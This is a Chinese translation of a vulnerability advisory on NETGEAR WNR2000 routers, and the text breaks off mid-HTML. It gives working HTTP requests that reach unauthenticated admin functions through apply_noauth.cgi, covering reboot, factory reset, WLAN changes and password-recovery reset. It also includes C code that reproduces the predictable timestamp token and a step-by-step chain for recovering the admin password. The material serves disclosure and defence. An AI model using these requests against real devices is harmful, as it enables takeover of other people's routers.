翻译: shan2666
原文:https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt
摘要:
NETGEAR WNR2000路由器允许管理员在Web界面中执行许多敏感的功能,这些都是通过名为apply.cgi的CGI脚本完成的。通过调用这个脚本,可以更改Internet设置、WLAN设置,恢复出厂默认值,重新启动路由器等。
然而,实际上apply.cgi并不是一个真正的脚本,而是一个函数――在URL中接收到特定字符串时,就会利用HTTP服务器(uhttpd)调用该函数。当逆向uhttpd时,发现通过调用apply_noauth.cgi,竟然允许未认证的用户执行相同的敏感管理功能。
对于某些功能来说,如重新启动路由器,可以被未经验证的攻击者直接拿来利用。而其他功能(例如更改Internet、WLAN设置或检索管理密码)则要求攻击者通过URL发送“timestamp”变量。这个时间戳是在每次访问目标页面时生成的,并且被用于anti-CSRF令牌。
通过逆向时间戳生成函数发现,并且由于它的随机数生成(下面的细节)方式不当,导致攻击者在没有其他知识的情况下,就可以在尝试1000次之内识别出令牌。
通过将令牌与信息泄露相结合,就可以恢复管理员密码。然后,可以利用该密码启用路由器的telnet功能,并且如果攻击者位于LAN中的话,则可以获取root shell。
最后,还发现了一个栈溢出漏洞,如果将它与apply_noauth.cgi漏洞和时间戳识别攻击相结合的话,就会允许未经验证的攻击者完全控制该设备,从而可以在LAN和WAN中远程执行代码。
需要注意的是,由于WNR2000v5的最新固件在默认情况下没有启用远程管理功能,所以,除非管理员启用了该功能,否则这些攻击只能在局域网中进行。虽然我们只针对WNR2000v5设备进行了相关测试,但是此路由器的版本3和4也应该具有同样的安全漏洞,我们已经通过静态分析对此进行了确认。在最初发现该漏洞使,在Shodan中搜索出了超过10.000个启用了远程管理启用的、具有这种漏洞的路由器。
漏洞利用代码已经与本文同时发布,具体请访问参考文献[1]。这个漏洞利用代码当前处于alpha阶段,我们还将继续对其进行改进,并在下周移植到Metasploit上面。技术细节:
#_1
漏洞:信息泄露
NO CVE ASSIGNED
攻击矢量:远程攻击
约束条件:可以被未经身份验证的攻击者所利用。其他约束请参见下文。
受影响的版本:
WNR2000v5,所有固件版本(硬件确认)
WNR2000v4,所有可能受影响的固件版本(仅通过静态分析确认)
WNR2000v3,所有可能受影响的固件版本(仅通过静态分析确认)
发送http:// <device_web_portal> /BRS_netgear_success.html请求时,该设备会泄漏其序列号:
HTTP/1.0 200 OK
Server: uhttpd/1.0.0
Date: Thu, 01 Jan 1970 00:11:42 GMT
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-Type: text/html; charset=”UTF-8″
Connection: close
<html>
<head>
</head>
<body>
<script>
/* 22281: add sn after success href */
var sn=”4D01615V0009D”; <― serial number of the device
(…)
这个信息泄漏问题可以进一步用于#2安全漏洞。
#_2
漏洞:访问控制不当
NO CVE ASSIGNED
攻击矢量:远程攻击
约束条件:可以被未经身份验证的攻击者所利用。其他约束请参见下文。
受影响的版本:
WNR2000v5,所有固件版本(硬件确认)
WNR2000v4,所有可能受影响的固件版本(仅通过静态分析确认)
WNR2000v3,所有可能受影响的固件版本(仅通过静态分析确认)
―――――――
漏洞分析
―――――――
WNR2000路由器允许管理员通过调用该设备Web服务器上的apply.cgi URL来执行敏感操作。这个特殊URL是由嵌入式Web服务器(uhttpd)来进行相应的处理的。
当我们对uhttpd进行逆向时,发现另一个函数,即apply_noauth.cgi竟然也允许未经身份验证的用户在设备上执行各种敏感操作。例如,可以发送以下请求来重新启动路由器:
====
POST /apply_noauth.cgi?/reboot_waiting.htm HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
submit_flag=reboot&yes=Yes
====
若要恢复出厂默认设置的话,可以使用如下所示的请求:
====
POST /apply_noauth.cgi?/pls_wait_factory_reboot.html HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
submit_flag=factory
====
若要修改WLAN设置的话,可以使用以下请求:
====
POST /apply_noauth.cgi?/WLG_wireless.htm HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 754
submit_flag=wlan&Apply=Apply&hidden_wlan_mode=&hidden_wlan_channel=&generate_flag=&old_length=&wl_sec_wpaphrase_len=17&wl_hidden_wpa_psk=somewifipassword&hidden_sec_type=&wep_press_flag=&wpa1_press_flag=0&wpa2_press_flag=1&wpas_press_flag=0&wps_change_flag=5&hidden_enable_guestNet=&hidden_enable_ssidbro=&hidden_allow_guest=&radiusServerIP=&opmode_bg=&wl_mode=&wl_ssid=1337Net&wl_WRegion=4&wl_hidden_wlan_channel=0&wl_hidden_wlan_mode=2&wl_hidden_sec_type=4&hidden_WpaeRadiusSecret=&hidden_WpaeRadiusSecret_a=&wl_enable_ssid_broadcast=1&hidden_enable_video=&wl_tx_ctrl=&wl_apply_flag=1&ssid_bc=1&ssid=NETGEAR09&wla1ssid=NETGEAR-5G_Guest1&wlg1ssid=NETGEAR-Guest&WRegion=4&w_channel=0&opmode=2&opmode54=1&security_type=WPA2-PSK&passphrase=somewifipassword
====
若要更改管理员帐户的密码恢复设置,可以使用下列请求:
====
POST /apply_noauth.cgi?/PWD_password.htm%20timestamp=26123148 HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 188
submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2
====
这些只是部分例子,实际上还有很多的功能都可以通过apply_noauth.cgi访问。然而,除了上面这三个例子外,大多数操作都需要知道一个“时间戳”变量,它通常会附加到URL(具体见第四个例子)上。需要注意的是,找到这个时间戳可不是件简单的事情,具体方法我们会在下文中详细解释。
―――――――
生成时间戳
―――――――
用户每次访问页面时都会生成相应的时间戳变量。例如,要更改WLAN设置,用户必须访问WLG_wireless.htm页面。该时间戳变量将在访问该页面时生成,并存储在设备配置中。
每次访问该页面时,都会生成一个新的时间戳并嵌入到页面中。即使设备重新启动后,用户并没有访问该页面,它仍会在配置中预设时间戳变量。至于出现这种情况的具体原因,我们并没有进行相应的研究,但这个时间戳很可能是在引导过程中生成并保存下来的。
请注意,随着具体的访问情况的变化,每个页面或函数可能会生成新的时间戳,并将其存储在设备配置中。还需要注意的是,未经身份验证的用户无法访问任何页面,因此无法生成时间戳或检索其值。
负责生成此时间戳的函数位于0x4101E8(WNR2000v5的固件版本为1.0.0.34)处,它的符号名称为get_timestamp。
以下C代码展示了时间戳的生成过程:
long t0, t1, t2, t3, t4, hi;
int i;
float final;
// seed srand with NULL is the same as seeding it with the current UNIX system time
srand(0);
t0 = rand();
t1 = 0x17dc65df;
hi = (int)((t0 * t1) >> 32);
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 t2;
t4 = t3 * 0x55d4a80;
t0 = t0 t4;
t0 = t0 + 0x989680;
final = (float) t0;
printf(“%9.f\n”, final);
最终转换为浮点类型这一步是至关重要的,因为这将迫使该数字使用IEEE 754规则进行舍入处理,从而导致最终值会变得稍大或稍小一些。实际上,这些转换是在反汇编代码中发生的,而上面的C代码可以生成100%精度的时间戳。
将此代码移植到Ruby(为了发布攻击代码,请参见[1])是一个挑战。首先,ruby中srand和rand的行为是完全不同的,所以实际的libc函数必须进行逐行移植。第二,Ruby默认使用双精度浮点整数,因此必须使用pack和unpack才能强制执行单精度浮点行为。―――――――
实现可靠的漏洞利用代码
―――――――
对于未经认证的攻击者来说,他们面临的问题是:要想实施上述任何攻击,必须首先猜出当前时间戳变量的值。由于这个变量的取值范围有限,所以可以按照当前小时、当前日、当前月、当前年的的顺序尝试所有可能值。
实际上,在猜测时间戳变量值的时候,有一个最佳的解决办法。
未经认证的攻击者在不知道时间戳的情况下可以执行的几个操作之一是重新启动设备。如果设备重新启动,攻击者就能知道了用于srand函数求种子值和生成时间戳的UNIX时间,这个时间戳的值是将得到的UNIX时间减去5分钟左右(路由器重新启动和攻击者重新连接到路由器所需的大约时间)。因此,为了轻松猜到时间戳,只需:
a)发送重新启动请求
b)等待设备重新启动并再次连接(通过WLAN或以太网)
c)向设备发送HTTP GET请求,并从Date HTTP头部获取其当前时间
d)借助上述算法,然后从Date头部解析出来的值减去300(60秒乘以5分钟)得到一个UNIX时间戳,然后从这个时间戳开始利用srand函数计算所有可能的种子值
e)尝试通过使用正确的参数和d)的每个输出调用apply_noauth.cgi脚本来执行预期的功能(恢复出厂设置,更改WLAN等),直到命中正确的时间戳并执行相应功能为止
使用这种技术,寻找时间戳所需的蛮力猜测次数大大减少,使未经验证的攻击者能够及时找出这个值(实际尝试次数通常介于在300和5000次之间,但通常都会小于1000次)。
对于WAN利用方式(启用远程管理时)来说,重新启动不是一个好办法(因为设备在启动后很可能会分配一个新的IP地址); 对于这种情况,攻击设备的最佳方式是从当前时间向后开始,并不停发送请求,直到命中正确的值为止。
―――――――
获取管理员密码
―――――――
如上所述,通过使用时间戳猜测攻击,未经验证的攻击者可以重置密码恢复问题。然后,可以通过执行以下操作,借助上述信息来恢复管理员密码:
a1)向unauth.cgi发送一个带有序列号的POST请求
POST /apply_noauth.cgi?/unauth.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
submit_flag=match_sn&serial_num=<serial>&continue=+Continue+
b1) 发送POST请求到securityquestions.cgi,并提供安全问题的答案
POST /apply_noauth.cgi?/securityquestions.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+
c1)最后,向passwordrecovered.cgi发送一个GET请求,来显示管理员的用户名和密码:
(…)
<TR><TD colSpan=2>